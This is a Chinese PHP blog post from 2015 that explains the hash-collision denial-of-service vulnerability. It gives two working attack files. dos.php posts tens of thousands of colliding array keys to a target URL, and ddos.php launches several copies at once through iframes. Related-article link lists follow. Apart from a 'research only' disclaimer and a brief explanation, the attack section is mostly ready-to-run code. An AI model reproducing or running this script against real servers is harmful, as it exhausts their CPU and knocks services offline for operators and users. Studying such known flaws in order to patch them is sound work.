PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP CURL模拟GET及POST函数代码
Apr 25 PHP
php strstr查找字符串中是否包含某些字符的查找函数
Jun 03 PHP
php设计模式之命令模式的应用详解
May 21 PHP
ThinkPHP无限级分类原理实现留言与回复功能实例
Oct 31 PHP
php中heredoc与nowdoc介绍
Dec 25 PHP
PHP创建PowerPoint2007文档的方法
Dec 10 PHP
PHP MVC框架路由学习笔记
Mar 02 PHP
yii2分页之实现跳转到具体某页的实例代码
Jun 02 PHP
Yii编程开发常见调用技巧集锦
Jul 15 PHP
谈谈php对接芝麻信用踩的坑
Dec 01 PHP
详解Yii2.0 rules验证规则集合
Mar 21 PHP
让Laravel API永远返回JSON格式响应的方法示例
Sep 05 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
thinkphp3.2中Lite文件替换框架入口文件或应用入口文件的方法
2015/05/21 PHP
JavaScript 实现??打印?理
2007/04/28 Javascript
基于jquery的15款幻灯片插件
2011/04/10 Javascript
关于hashchangebroker和statehashable的补充文档
2011/08/08 Javascript
JavaScript事件委托的技术原理探讨示例
2014/04/17 Javascript
js实现touch移动触屏滑动事件
2015/04/17 Javascript
整理Javascript函数学习笔记
2015/12/01 Javascript
jquery.Callbacks的实现详解
2016/11/30 Javascript
vue.js中mint-ui框架的使用方法
2017/05/12 Javascript
AngularJS实现自定义指令与控制器数据交互的方法示例
2017/06/19 Javascript
vue项目引入字体.ttf的方法
2018/09/28 Javascript
js使用swiper实现层叠轮播效果实例代码
2018/12/12 Javascript
JS拖动选择table里的单元格完整实例【基于jQuery】
2019/05/28 jQuery
解析vue、angular深度作用选择器
2019/09/11 Javascript
JS原型prototype和__proto__用法实例分析
2020/03/14 Javascript
在vue中对数组值变化的监听与重新响应渲染操作
2020/07/17 Javascript
nginx部署多个vue项目的方法示例
2020/09/06 Javascript
[14:00]DOTA2国际邀请赛史上最长大战 赛后专访B神
2013/08/10 DOTA
python通过pil将图片转换成黑白效果的方法
2015/03/16 Python
python opencv之SIFT算法示例
2018/02/24 Python
python 2.7.14安装图文教程
2018/04/08 Python
Python设计模式之观察者模式原理与用法详解
2019/01/16 Python
python实现邮件发送功能
2019/08/10 Python
用sqlalchemy构建Django连接池的实例
2019/08/29 Python
python中取绝对值简单方法总结
2020/07/24 Python
scrapy实践之翻页爬取的实现
2021/01/05 Python
利用CSS3实现动态的二级三级菜单效果实例源码
2017/01/04 HTML / CSS
IE下实现类似CSS3 text-shadow文字阴影的几种方法
2011/05/11 HTML / CSS
Html5 webRTC简单实现视频调用的示例代码
2020/09/23 HTML / CSS
省级四好少年事迹材料
2014/01/25 职场文书
青春奉献演讲稿
2014/05/08 职场文书
实习护士自荐信
2014/06/21 职场文书
国际语言毕业生求职信
2014/07/08 职场文书
vue项目两种方式实现竖向表格的思路分析
2021/04/28 Vue.js
Mysql中调试存储过程最简单的方法
2021/06/30 MySQL
MySQL创建定时任务
2022/01/22 MySQL